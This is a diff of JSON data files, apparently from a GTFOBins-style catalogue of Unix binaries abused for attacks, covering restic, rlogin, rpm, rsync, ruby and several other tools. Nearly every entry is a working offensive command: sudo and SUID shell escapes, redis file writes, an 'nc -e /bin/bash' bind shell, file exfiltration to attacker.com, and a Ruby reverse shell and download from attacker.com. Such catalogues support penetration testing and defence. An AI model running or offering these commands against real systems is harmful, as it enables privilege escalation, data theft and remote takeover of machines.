  "file-read": [
5
4
  {
6
- "code": "redcarpet \"[file]\"\n"
5
+
6
+ "code": "LFILE=file_to_read\nredcarpet \"$LFILE\"\n"
7
7
  }
8
8
  ],
9
9
  "sudo": [
10
10
  {
11
- "code": "sudo redcarpet \"[file]\"\n"
11
+
12
+ "code": "LFILE=file_to_read\nsudo redcarpet \"$LFILE\"\n"
12
13
  }
13
14
  ]
14
15
  }
15
- }
16
+ }
gtfo/data/redis.json ADDED
@@ -0,0 +1,10 @@
1
+ {
2
+ "functions": {
3
+ "file-write": [
4
+ {
5
+ "description": "Write files on the server running Redis at the specified location. Written data will appear amongst the database dump, thus it might not be suitable for all kind of purposes.",
6
+ "code": "IP=127.0.0.1\nredis-cli -h $IP\nconfig set dir dir_to_write_to\nconfig set dbfilename file_to_write\nset x \"DATA\"\nsave\n"
7
+ }
8
+ ]
9
+ }
10
+ }
gtfo/data/restic.json CHANGED
@@ -1,20 +1,28 @@
1
1
  {
2
- "description": "The attacker must setup a server to receive the backups, in the following example https://github.com/restic/rest-server/ is used but there are other options. To start a new instance and create a new repository:\n\n./rest-server --listen \":[port]\"\nrestic init -r \"rest:http://localhost:[port]/[file]\"\n\nTo extract the data from the restic repository in the current directory on the attacker side:\n\nrestic restore -r \"/tmp/restic/[file]\" latest --target .\n\nUpload data to the attacker server with the following commands.\n",
3
2
  "functions": {
3
+ "command": [
4
+ {
5
+ "description": "The attacker does not need to setup a server to receive the backups in this case. Command execution can be achieved through control of argv or environment, many restic subcommands support this option, so even if the attacker control only a subset of argv, command execution may still be achievable.",
6
+ "code": "RESTIC_PASSWORD_COMMAND='nc -l 127.0.0.1 -p 4321 -e /bin/bash' restic backup # Through environment\nrestic backup --password-command=\"nc -l 127.0.0.1 -p 4321 -e /bin/bash\" # Through option\n"
7
+ }
8
+ ],
4
9
  "file-upload": [
5
10
  {
6
- "code": "restic backup -r \"rest:http://[host]:[port]/[backup]\" \"[file]\"\n"
11
+ "description": "",
12
+ "code": "RHOST=attacker.com\nRPORT=12345\nLFILE=file_or_dir_to_get\nNAME=backup_name\nrestic backup -r \"rest:http://$RHOST:$RPORT/$NAME\" \"$LFILE\"\n"
7
13
  }
8
14
  ],
9
15
  "sudo": [
10
16
  {
11
- "code": "sudo restic backup -r \"rest:http://[host]:[port]/[backup]\" \"[file]\"\n"
17
+ "description": "",
18
+ "code": "RHOST=attacker.com\nRPORT=12345\nLFILE=file_or_dir_to_get\nNAME=backup_name\nsudo restic backup -r \"rest:http://$RHOST:$RPORT/$NAME\" \"$LFILE\"\n"
12
19
  }
13
20
  ],
14
21
  "suid": [
15
22
  {
16
- "code": "./restic backup -r \"rest:http://[host]:[port]/[backup]\" \"[file]\"\n"
23
+ "description": "",
24
+ "code": "RHOST=attacker.com\nRPORT=12345\nLFILE=file_or_dir_to_get\nNAME=backup_name\n./restic backup -r \"rest:http://$RHOST:$RPORT/$NAME\" \"$LFILE\"\n"
17
25
  }
18
26
  ]
19
27
  }
20
- }
28
+ }
gtfo/data/rev.json CHANGED
@@ -2,17 +2,20 @@
2
2
  "functions": {
3
3
  "file-read": [
4
4
  {
5
- "code": "rev [file] | rev\n"
5
+
6
+ "code": "LFILE=file_to_read\nrev $LFILE | rev\n"
6
7
  }
7
8
  ],
8
9
  "suid": [
9
10
  {
10
- "code": "./rev [file] | rev\n"
11
+
12
+ "code": "LFILE=file_to_read\n./rev $LFILE | rev\n"
11
13
  }
12
14
  ],
13
15
  "sudo": [
14
16
  {
15
- "code": "sudo rev [file] | rev\n"
17
+
18
+ "code": "LFILE=file_to_read\nsudo rev $LFILE | rev\n"
16
19
  }
17
20
  ]
18
21
  }
gtfo/data/rlogin.json CHANGED
@@ -1,11 +1,10 @@
1
1
  {
2
- "description": "Usually 'rlogin' is a symlink to 'ssh' the following works only when the real 'rlogin' is used (e.g., from the 'rsh-client' APT package).",
3
2
  "functions": {
4
3
  "file-upload": [
5
4
  {
6
- "description": "Send contents of a file to a TCP port. Run 'nc -l -p [port] > [file]' on the attacker system to capture the contents. 'rlogin' hangs waiting for the remote peer to close the socket. The file is corrupted by leading and trailing spurious data.",
7
- "code": "rlogin -l \"$(cat [file])\" -p [port] [host]\n"
5
+ "description": "Send contents of a file to a TCP port. Run `nc -l -p 12345 > \"file_to_save\"` on the attacker system to capture the contents.\n\n`rlogin` hangs waiting for the remote peer to close the socket.\n\nThe file is corrupted by leading and trailing spurious data.\n",
6
+ "code": "RHOST=attacker.com\nRPORT=12345\nLFILE=file_to_send\nrlogin -l \"$(cat $LFILE)\" -p $RPORT $RHOST\n"
8
7
  }
9
8
  ]
10
9
  }
11
- }
10
+ }
gtfo/data/rlwrap.json CHANGED
@@ -2,24 +2,27 @@
2
2
  "functions": {
3
3
  "shell": [
4
4
  {
5
- "code": "rlwrap /bin/sh"
5
+
6
+ "code": "rlwrap /bin/sh\n"
6
7
  }
7
8
  ],
8
9
  "file-write": [
9
10
  {
10
- "description": "This adds timestamps to the output file. This relies on the external 'echo' command.",
11
- "code": "rlwrap -l [file] echo DATA\n"
11
+ "description": "This adds timestamps to the output file. This relies on the external `echo` command.",
12
+ "code": "LFILE=file_to_write\nrlwrap -l \"$LFILE\" echo DATA\n"
12
13
  }
13
14
  ],
14
15
  "suid": [
15
16
  {
16
- "code": "./rlwrap -H /dev/null /bin/sh -p"
17
+
18
+ "code": "./rlwrap -H /dev/null /bin/sh -p\n"
17
19
  }
18
20
  ],
19
21
  "sudo": [
20
22
  {
21
- "code": "sudo rlwrap /bin/sh"
23
+
24
+ "code": "sudo rlwrap /bin/sh\n"
22
25
  }
23
26
  ]
24
27
  }
25
- }
28
+ }
gtfo/data/rpm.json CHANGED
@@ -2,23 +2,27 @@
2
2
  "functions": {
3
3
  "shell": [
4
4
  {
5
- "code": "rpm --eval '%{lua:os.execute(\"/bin/sh\")}'"
5
+
6
+ "code": "rpm --eval '%{lua:os.execute(\"/bin/sh\")}'\n"
6
7
  },
7
8
  {
8
- "code": "rpm --pipe '/bin/sh 0<&1'"
9
+
10
+ "code": "rpm --pipe '/bin/sh 0<&1'\n"
9
11
  }
10
12
  ],
11
13
  "limited-suid": [
12
14
  {
13
- "code": "./rpm --eval '%{lua:os.execute(\"/bin/sh\")}'"
15
+
16
+ "code": "./rpm --eval '%{lua:os.execute(\"/bin/sh\")}'\n"
14
17
  }
15
18
  ],
16
19
  "sudo": [
17
20
  {
18
- "code": "sudo rpm --eval '%{lua:os.execute(\"/bin/sh\")}'"
21
+
22
+ "code": "sudo rpm --eval '%{lua:os.execute(\"/bin/sh\")}'\n"
19
23
  },
20
24
  {
21
- "description": "It runs commands using a specially crafted RPM package. Generate it with 'https://github.com/jordansissel/fpm' and upload it to the target.\n```\nTF=$(mktemp -d)\necho 'id' > $TF/x.sh\nfpm -n x -s dir -t rpm -a all --before-install $TF/x.sh $TF\n```",
25
+ "description": "It runs commands using a specially crafted RPM package. Generate it with [fpm](https://github.com/jordansissel/fpm) and upload it to the target.\n```\nTF=$(mktemp -d)\necho 'id' > $TF/x.sh\nfpm -n x -s dir -t rpm -a all --before-install $TF/x.sh $TF\n```\n",
22
26
  "code": "sudo rpm -ivh x-1.0-1.noarch.rpm\n"
23
27
  }
24
28
  ]
gtfo/data/rpmdb.json ADDED
@@ -0,0 +1,22 @@
1
+ {
2
+ "functions": {
3
+ "shell": [
4
+ {
5
+
6
+ "code": "rpmdb --eval '%(/bin/sh 1>&2)'\n"
7
+ }
8
+ ],
9
+ "limited-suid": [
10
+ {
11
+
12
+ "code": "./rpmdb --eval '%(/bin/sh 1>&2)'\n"
13
+ }
14
+ ],
15
+ "sudo": [
16
+ {
17
+
18
+ "code": "sudo rpmdb --eval '%(/bin/sh 1>&2)'\n"
19
+ }
20
+ ]
21
+ }
22
+ }
gtfo/data/rpmquery.json CHANGED
@@ -2,17 +2,20 @@
2
2
  "functions": {
3
3
  "shell": [
4
4
  {
5
- "code": "rpmquery --eval '%{lua:posix.exec(\"/bin/sh\")}'"
5
+
6
+ "code": "rpmquery --eval '%{lua:posix.exec(\"/bin/sh\")}'\n"
6
7
  }
7
8
  ],
8
9
  "limited-suid": [
9
10
  {
10
- "code": "./rpmquery --eval '%{lua:os.execute(\"/bin/sh\")}'"
11
+
12
+ "code": "./rpmquery --eval '%{lua:os.execute(\"/bin/sh\")}'\n"
11
13
  }
12
14
  ],
13
15
  "sudo": [
14
16
  {
15
- "code": "sudo rpmquery --eval '%{lua:posix.exec(\"/bin/sh\")}'"
17
+
18
+ "code": "sudo rpmquery --eval '%{lua:posix.exec(\"/bin/sh\")}'\n"
16
19
  }
17
20
  ]
18
21
  }
@@ -0,0 +1,22 @@
1
+ {
2
+ "functions": {
3
+ "shell": [
4
+ {
5
+
6
+ "code": "rpmverify --eval '%(/bin/sh 1>&2)'\n"
7
+ }
8
+ ],
9
+ "limited-suid": [
10
+ {
11
+
12
+ "code": "./rpmverify --eval '%(/bin/sh 1>&2)'\n"
13
+ }
14
+ ],
15
+ "sudo": [
16
+ {
17
+
18
+ "code": "sudo rpmverify --eval '%(/bin/sh 1>&2)'\n"
19
+ }
20
+ ]
21
+ }
22
+ }
gtfo/data/rsync.json CHANGED
@@ -2,18 +2,21 @@
2
2
  "functions": {
3
3
  "shell": [
4
4
  {
5
- "code": "rsync -e 'sh -c \"sh 0<&2 1>&2\"' 127.0.0.1:/dev/null"
5
+
6
+ "code": "rsync -e 'sh -c \"sh 0<&2 1>&2\"' 127.0.0.1:/dev/null\n"
6
7
  }
7
8
  ],
8
9
  "sudo": [
9
10
  {
10
- "code": "sudo rsync -e 'sh -c \"sh 0<&2 1>&2\"' 127.0.0.1:/dev/null"
11
+
12
+ "code": "sudo rsync -e 'sh -c \"sh 0<&2 1>&2\"' 127.0.0.1:/dev/null\n"
11
13
  }
12
14
  ],
13
15
  "suid": [
14
16
  {
15
- "code": "./rsync -e 'sh -p -c \"sh 0<&2 1>&2\"' 127.0.0.1:/dev/null"
17
+
18
+ "code": "./rsync -e 'sh -p -c \"sh 0<&2 1>&2\"' 127.0.0.1:/dev/null\n"
16
19
  }
17
20
  ]
18
21
  }
19
- }
22
+ }
@@ -0,0 +1,16 @@
1
+ {
2
+ "functions": {
3
+ "reverse-shell": [
4
+ {
5
+ "description": "After placing an executable or shell script on disk, you can trigger its execution via a logging facility by adding one line to the rsyslog.conf file",
6
+ "code": ":msg, contains, \"randomstringtomatch\" ^/path/to/script.sh\n"
7
+ }
8
+ ],
9
+ "bind-shell": [
10
+ {
11
+ "description": "After placing an executable or shell script on disk, you can trigger its execution via a logging facility by adding one line to the rsyslog.conf file",
12
+ "code": ":msg, contains, \"randomstringtomatch\" ^/path/to/script.sh\n"
13
+ }
14
+ ]
15
+ }
16
+ }
@@ -0,0 +1,16 @@
1
+ {
2
+ "functions": {
3
+ "shell": [
4
+ {
5
+
6
+ "code": "echo \"execute = /bin/sh,-c,\\\"/bin/sh <$(tty) >$(tty) 2>$(tty)\\\"\" >~/.rtorrent.rc\nrtorrent\n"
7
+ }
8
+ ],
9
+ "suid": [
10
+ {
11
+
12
+ "code": "echo \"execute = /bin/sh,-p,-c,\\\"/bin/sh -p <$(tty) >$(tty) 2>$(tty)\\\"\" >~/.rtorrent.rc\n./rtorrent\n"
13
+ }
14
+ ]
15
+ }
16
+ }
gtfo/data/ruby.json CHANGED
@@ -2,51 +2,57 @@
2
2
  "functions": {
3
3
  "shell": [
4
4
  {
5
- "code": "ruby -e 'exec \"/bin/sh\"'"
5
+
6
+ "code": "ruby -e 'exec \"/bin/sh\"'\n"
6
7
  }
7
8
  ],
8
9
  "reverse-shell": [
9
10
  {
10
- "description": "Run 'nc -l -p [port]' on the attacker box to receive the shell.",
11
- "code": "ruby -rsocket -e 'exit if fork;c=TCPSocket.new(\"[host]\",\"[port]\");while(cmd=c.gets);IO.popen(cmd,\"r\"){|io|c.print io.read}end'\n"
11
+ "description": "Run `nc -l -p 12345` on the attacker box to receive the shell.",
12
+ "code": "export RHOST=attacker.com\nexport RPORT=12345\nruby -rsocket -e 'exit if fork;c=TCPSocket.new(ENV[\"RHOST\"],ENV[\"RPORT\"]);while(cmd=c.gets);IO.popen(cmd,\"r\"){|io|c.print io.read}end'\n"
12
13
  }
13
14
  ],
14
15
  "file-upload": [
15
16
  {
16
17
  "description": "Serve files in the local folder running an HTTP server. This requires version 1.9.2 or later.",
17
- "code": "ruby -run -e httpd . -p [port]\n"
18
+ "code": "export LPORT=8888\nruby -run -e httpd . -p $LPORT\n"
18
19
  }
19
20
  ],
20
21
  "file-download": [
21
22
  {
22
23
  "description": "Fetch a remote file via HTTP GET request.",
23
- "code": "ruby -e 'require \"open-uri\"; IO.copy_stream(open(\"[url]\"), \"[file]\")'\n"
24
+ "code": "export URL=http://attacker.com/file_to_get\nexport LFILE=file_to_save\nruby -e 'require \"open-uri\"; download = open(ENV[\"URL\"]); IO.copy_stream(download, ENV[\"LFILE\"])'\n"
24
25
  }
25
26
  ],
26
27
  "file-write": [
27
28
  {
28
- "code": "ruby -e 'File.open(\"[file]\", \"w+\") { |f| f.write(\"DATA\") }'"
29
+
30
+ "code": "ruby -e 'File.open(\"file_to_write\", \"w+\") { |f| f.write(\"DATA\") }'\n"
29
31
  }
30
32
  ],
31
33
  "file-read": [
32
34
  {
33
- "code": "ruby -e 'puts File.read(\"[file]\")'"
35
+
36
+ "code": "ruby -e 'puts File.read(\"file_to_read\")'\n"
34
37
  }
35
38
  ],
36
39
  "library-load": [
37
40
  {
38
- "code": "ruby -e 'require \"fiddle\"; Fiddle.dlopen(\"lib.so\")'"
41
+
42
+ "code": "ruby -e 'require \"fiddle\"; Fiddle.dlopen(\"lib.so\")'\n"
39
43
  }
40
44
  ],
41
45
  "sudo": [
42
46
  {
43
- "code": "sudo ruby -e 'exec \"/bin/sh\"'"
47
+
48
+ "code": "sudo ruby -e 'exec \"/bin/sh\"'\n"
44
49
  }
45
50
  ],
46
51
  "capabilities": [
47
52
  {
48
- "code": "./ruby -e 'Process::Sys.setuid(0); exec \"/bin/sh\"'"
53
+
54
+ "code": "./ruby -e 'Process::Sys.setuid(0); exec \"/bin/sh\"'\n"
49
55
  }
50
56
  ]
51
57
  }
52
- }
58
+ }